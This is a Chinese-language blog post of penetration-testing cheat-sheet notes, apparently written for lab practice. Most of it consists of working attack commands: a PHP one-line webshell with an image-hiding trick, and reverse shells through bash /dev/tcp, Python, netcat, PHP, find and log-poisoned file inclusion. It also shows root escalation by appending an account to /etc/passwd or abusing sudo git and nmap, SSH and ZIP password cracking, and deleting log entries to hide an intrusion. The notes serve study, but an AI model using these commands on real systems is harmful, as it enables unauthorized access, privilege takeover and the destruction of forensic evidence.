渗透测试中用到的一些基本知识

1、菜刀连接一句话木马

<?php @eval($_REQUEST[cmd]);?> ?cmd=phpinfo; //查看php信息

//eval()函数把字符串按照PHP代码来执行,cmd为一句话木马的密码(菜刀连接的密码)
//不加@会报错,但依旧可以执行命令,查看到信息
cmd命令制作图片木马:copy yjh.jpg/b + yjh.php/a yjh1.jpg

2、利用XSS实现CSRF:
构造钓鱼页面,利用存储型XSS漏洞重定向到钓鱼页面,当存在CSRF漏洞时,用户触发XSS漏洞重定向到钓鱼页面,执行攻击者操作。
利用XSS可以弹出user_token的token值。

3、SSRF用到的协议:
http://,https://,file://,dict://,ftp://,gopher://…
SSRF可以用来RCE(远程命令执行):发现内部网络运行了一个有公开RCE的过期软件,则可以利用它执行代码。

4、目录扫描:
dirb、dirbuster(dirb的图形化扫描)、御剑
dirbuster工具支持全部的Web目录扫描方式:支持网页爬虫方式扫描,基于字典暴力扫描,纯暴力扫描。

5、Burpsuite工具:
代理模块,暴破模块(目录、注入、字典),重放模块,Dashboard模块(扫描和爬虫),获得CSRF的token,编解码模块、比较模块(按单词或字节比较两个数据包),扩展模块(添加一些扩展插件),
Burpsuite的CSRF Token Tracker拓展插件可以抓取user_token的token值。

6、反弹shell命令:
其实操作系统有三个常用的流:
0:标准输入流
1:标准输出流
2:标准错误流
①:bash命令
bash -i >& /dev/tcp/192.168.37.131/8080 0>&1
bash -i:产生一个bash的交互环境;>&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;/dev/tcp/192.168.37.131/8080:与目标主机192.168.37.131/8080端口建立一个TCP连接;0>&1:将标准输入与标准输出相结合,重定向到标准输出内容;
②python脚本反弹shell:下载python脚本到靶机/tmp下,kali监听端口,靶机执行
python一句话反弹shell:python‐c ‘import socket,subprocess,os; #导入三个库
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);#创建一个使用TCP的socket
s.connect((“192.168.31.41”,8080));#执行connect函数连接到监听主机的IP和端口
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);#使用os库的dup2函数重定向
p=subprocess.call(["/bin/sh","‐i"]);’ #建立一个子进程,参数-i是以交互式模式启动
③netcat反弹shell:
nc -e /bin/bash 192.168.31.137 80 //-e 在创建连接之后执行的程序
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.31.137 443 > /tmp/f;
删除文件,重写文件(防止重复),连接IP的443端口,,管道符号“|” 可以将上一个命令的输出作为下一个命令的输入
④php反弹shell:
php‐r ‘$sock=fsockopen(“192.168.31.41”,8080);exec("/bin/sh ‐i <&3 >&3 2>&3");’ //php -r 直接运行php代码 php -f 运行指定文件
exec()函数用来执行一个外部程序
fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间) 打开一个网络连接或者一个Unix套接字连接
php反弹shell:<?php system(“bash -c ‘bash -i>& /dev/tcp/192.168.31.137/444 0>&1’”);?>
⑤使用find执行命令进行反弹shell:
find aaa -exec nc -nvlp 5555 -e /bin/bash ;
⑥文件包含命令进行反弹shell:
/thankyou.php?file=/var/log/nginx/access.log&cmd=nc 192.168.31.137 444 -c /bin/bash
nc监听端口:nc -nvlp 192.168.31.137 444 //n-直接使用ip地址而不通过域名服务器,v-显示指令执行过程,l-使用监听模式,p-设置本地主机使用的通信端口

7、
python开启建议HTTP服务:python -m SimpleHTTPServer 80
python弹出shell窗口(terminal):python -c ‘import pty; pty.spawn("/bin/bash")’

9、开启apache服务:
/etc/init.d/apache2 start

10、提权
用find命令查找有配置不当的文件:find / -perm -o=w -type f 2>/dev/null | grep -v /proc/
①文件配置不当提权:
/etc/passwd文件配置不当,添加用户提权
创建一个新用户:用户名为admi 密码为pass123加密后的ccK1Qr72807ts
echo ‘admi:ccK1Qr72807ts:0:0:admm:/root:/bin/bash’ >> /etc/passwd //单>为覆盖, 双>>为追加
(echo ‘asd::0:0:::/bin/bash’ | sudo teehee -a /etc/passwd) //也是添加文件
su admi //切换到root权限
②SUID(find命令)提权
查找有特殊权限的文件:find / -perm -u=s -type f 2>/dev/null
先创建一个文件aaa:touch aaa
再使用find命令运行:find aaa -exec whoami ; -exec command 即find也可以执行命令
使用find进行反弹shell:find aaa -exec nc -nvlp 5555 -e /bin/bash ;
kali监听:nc 192.168.31.157 5555
③git提权
sudo git help status 然后运行 !/bin/bash
或sudo git help config 然后运行!/bin/bash
④nmap提权
nmap有执行脚本的功能,通过编写特殊脚本,可以实现利用nmap提权(sudo提权)
利用过程:写入一个执行bash的nmap脚本,运行
echo ‘os.execute("/bin/sh")’ >tiquan.nse //以.nes为标志的文件
运行脚本文件tiquan.nse:sudo nmap --script=/home/jens/tiquan.nse
提权到root

11、base64解密文件成压缩文件
base64 -d myplace.backup > myplace.zip
解压myplace.zip文件:unzip myplace.zip
fcrackzip -b -v -u -c a -p aaaaaaaaa myplace.zip
-b 破解 -c 指定字符串(此处密码为字母类型) -v 显示详细信息 -p 指定密码位数(此处密码为9位) -u 使用unzip

12、gcc编译.c文件:
gcc 44298.c -o 44298

13、文件包含漏洞典型页面:
?page=a.php
?home=b.html
?file=content…

14、扫描CMS工具:
使用joomscan工具扫描joomla的版本信息:joomscan -u http://192.168.31.160
searchsploit查找Joomla服务的版本漏洞:(Joomla 3.7.0存在SQL注入漏洞)
使用wpscan工具扫描wordpress枚举用户名:
扫描网站:wpscan --url http://dc-2
扫描漏洞:wpscan --url http://dc-2 -e vp,vt,tt
枚举用户名:wpscan --url http://dc-2 -e u
Wordpress的默认后台登陆路径是:http://wordy/wp-login.php
cewl字典生成工具:cewl -w passwd.txt http://dc-2 //将页面输出写成文件

15、
John工具爆破haxi密码,一个密码只能爆破一次,添加–show显示密码
字典爆破:john --wordlist=/usr/share/john/password.list haxi.txt
暴力破解:john ./shadow haxi.txt

16、
九头蛇暴力破解用户名密码:hydra -l jim -P pass.txt -vV -e ns 192.168.31.162 ssh
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)

17、linux各个目录:
bin:二进制可执行命令、
boot:开机启动文件和linux内核文件、
etc:系统主要的配置文件、
dev:linux系统下的设备文件、
lib:系统使用的函数库目录、
mnt:光盘默认挂载点、
media:可删除的设备包括软盘、光盘等
opt:给主机额外安装的软件(第三方软件)
proc:虚拟文件系统,如系统内核,外部设备,网络状态等,数据存放在内存中,不占用磁盘空间
home:系统默认的用户的家目录、
root:系统管理员root的家目录、
sbin:系统管理员使用的可执行命令,如shutdown、mount
tmp:临时存放文件的目录、
srv:服务启动之后需要访问的数据目录、
usr:应用程序存放目录、
var:系统执行过程中经常变化的文件,如系统日志文件var/log
sys:存放系统信息

18、
777权限:rwx 读 写 执行
当前文件拥有者 当前文件所属组(同组用户)权限 组外权限

19、
查看系统版本信息:uname -a 、cat /etc/issue、lsb_release -a。
phpmyadmin的配置文件:config.inc.php

20、metasploit工具:
6个模块:渗透攻击模块(Exploits)
攻击载荷模块(Payloads):攻击机与目标机之间建立连接,反弹shell,还可以进行程序 注入
编码器模块(Econders)
辅助模块(AUX)
后渗透模块(Post)
空指令模块(Nops)
Metasploit工具渗透测试的整个过程:
1、创建项目
2、收集信息
3、漏洞利用
4、执行后期利用
5、清理痕迹
6、生成报告(只有商业版有)
ssh登陆爆破、exploi拿到meterpreter(拿到shell)

21、
二层:ARP包(arping 192.168.31.137)<netdiscover主机发现>
优点:扫描快,可靠。缺点:不可路由,只能扫描同一网段。
三层:ip/icmp包(ping 192.168.31.137)
优点:相对二层可路由(防止广播风暴)。缺点:容易被防火墙过滤。
四层:tcp/udp包(各有65535个端口)
优点:可路由,不容易被防火墙过滤。缺点:全端口扫描慢。

22、
Nginx访问日志路径是var/log/nginx/access.log
Nginx默认日志路径:/etc/nginx/nginx.conf
命令执行函数:passthru、exec、shell_exec、 system、popen。eval一般做菜刀连接用。

23、
本地文件包含(LFI)—allow_url_fopen=On/Off
远程文件包含(RFI)—allow_url_include=On/Off

24、如何清理日志?
Windows系统使用Msf工具中的meterpreter:clearev
使用sed 进行定向清除:sed -i -e ‘/123.123.123.123/d’ /var/log/messages
清除哪些日志?
web日志:比如apache的access.log和error.log。
wtmp日志:var/log/wtmp记录所有用户的登陆、注销等信息。
登录日志:var/log/secure messages//核心系统日志文件
历史命令:
btmp:记录失败的记录(比如暴力破解ssh服务)
laslog:记录最后一次登陆的事件

渗透测试中用到的一些基本知识相关推荐

  1. 内网渗透测试第一章——内网基础知识

    (一)内网基础知识 1. 内网概述 内网也指局域网(Local Area Network,LAN)是指在某一区域内由多台计算机互联成的计算机组.一般是方圆几千米以内.局域网可以实现文件管理.应用软件共 ...

  2. Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等

    Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...

  3. Android 渗透测试学习手册 第一章 Android 安全入门

    第一章 Android 安全入门 作者:Aditya Gupta 译者:飞龙 协议:CC BY-NC-SA 4.0 Android 是当今最流行的智能手机操作系统之一. 随着人气的增加,它存在很多安全 ...

  4. 浅谈渗透测试人员职业发展路线

    引言 你有兴趣成为渗透测试工程师吗? 如果你对"五环法和脆弱性评估,以及利用系统和有效沟通调查结果的能力有一个透彻的理解",那么这可能就是适合你的领域. 一个 IT 专业人员如何才 ...

  5. web渗透测试学习路径图

    Web渗透测试学习路线 一.基础知识 1.1 网络协议 <图解http> 1.2 编程语言 python 30 days for python go 1.3 Linux/Bash Over ...

  6. Metasploit 渗透测试01-背景和功能介绍

    0x00 背景 渗透测试的定义:通过实际攻击进行安全测试与评估,Metasploit是一个免费的.可下载的渗透框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击.它本身附带数百个已知软件漏洞 ...

  7. CISP-PTE注册信息安全专业人员渗透测试工程师知识体系大纲

    CISP-PTE注册信息安全专业人员渗透测试工程师知识体系大纲 都是图.. 不足之处,欢迎补充 转载于:https://www.cnblogs.com/wushangguo/p/9059372.htm ...

  8. 无线网络渗透测试(一)基础知识

    无线网络渗透测试这一板块文章,Evan将带给大家无线基础知识,如何监听WiFi,捕获并分析数据包,需要大家准备的实验环境是Linux kali,实验器材:无线网卡,实验工具:wirelessmon(点 ...

  9. Web渗透测试知识星球情况介绍

    Web渗透测试知识星球学习社群情况介绍 一.学习背景 相信你在学习Web安全的过程中,一定会感受到要涉及到的知识体系非常庞大.浩如烟海,而且很大一部分知识点都十分零散.碎片化,自学起来会踩很多坑,浪费 ...

最新文章

  1. 【Java】环形链表 ( 给定一个链表,判断链表中是否有环)
  2. 小型蜂鸣器内部驱动电路
  3. 【数据平台】同一mysql主机不同数据库建复制表
  4. 虚拟按键自己触发的java代码_在SystemUI添加虚拟按键
  5. SurfaceGo配置轻量级LaTeX写作环境(MiKTeX)
  6. 3-Spring Boot的数据访问
  7. 软件测试linux笔试题目,linux基础面试题
  8. 解决:Unable to execute dex: GC overhead limit exceeded
  9. 二维otsu算法python_OpenCV-Python系列之OTSU算法
  10. opencv warp(扭曲)球面投影的原理
  11. 请画出使用mapreduce对英文句子_英文写作中有哪些常见的标点符号问题?小心你的essay会被教授diss不专业...
  12. 如何采用SQL Server身份验证登录
  13. 直播电商平台开发,点击让窗口抖动动画效果
  14. foxmai邮件服务器pop,全球邮企业邮箱Foxmail POP3/IMAP协议设置方法
  15. 信源编码作业【01】利用Audacity软件语音信号的频谱分析
  16. 微信开发者工具:单个安装微信开发者工具中没有的扩展(通过vsix 离线安装)
  17. Web安全-Tomcat禁用Web服务器内置不安全请求方法
  18. Linux SWAP 交换分区配置说明
  19. 查看linux ko内核版本,查看linux内核版本及操作系统版本的命令
  20. java自动识别图片验证码插件_JMeter开发插件——图片验证码识别

热门文章

  1. 计算机专业省赛一等奖有什么好处,竞赛省一等奖有什么用
  2. SpringMVC框架中注解的详细介绍
  3. 超高性价比 光纤互联解决方案良心推荐
  4. nn.Module、nn.Sequential和torch.nn.parameter学习笔记
  5. python-etl框架bonobo使用入门
  6. [VC] 检测AVX系列指令集的支持级别(AVX、AVX2、F16C、FMA、FMA4、XOP)
  7. 代码生成有趣的python精短程序 代码生成
  8. NIST原子光谱数据库使用说明
  9. Your password does not satisfy the current policy requirements
  10. 每股收益再创新高,增长速度趋于减缓:上市公司半年报业绩波澜不惊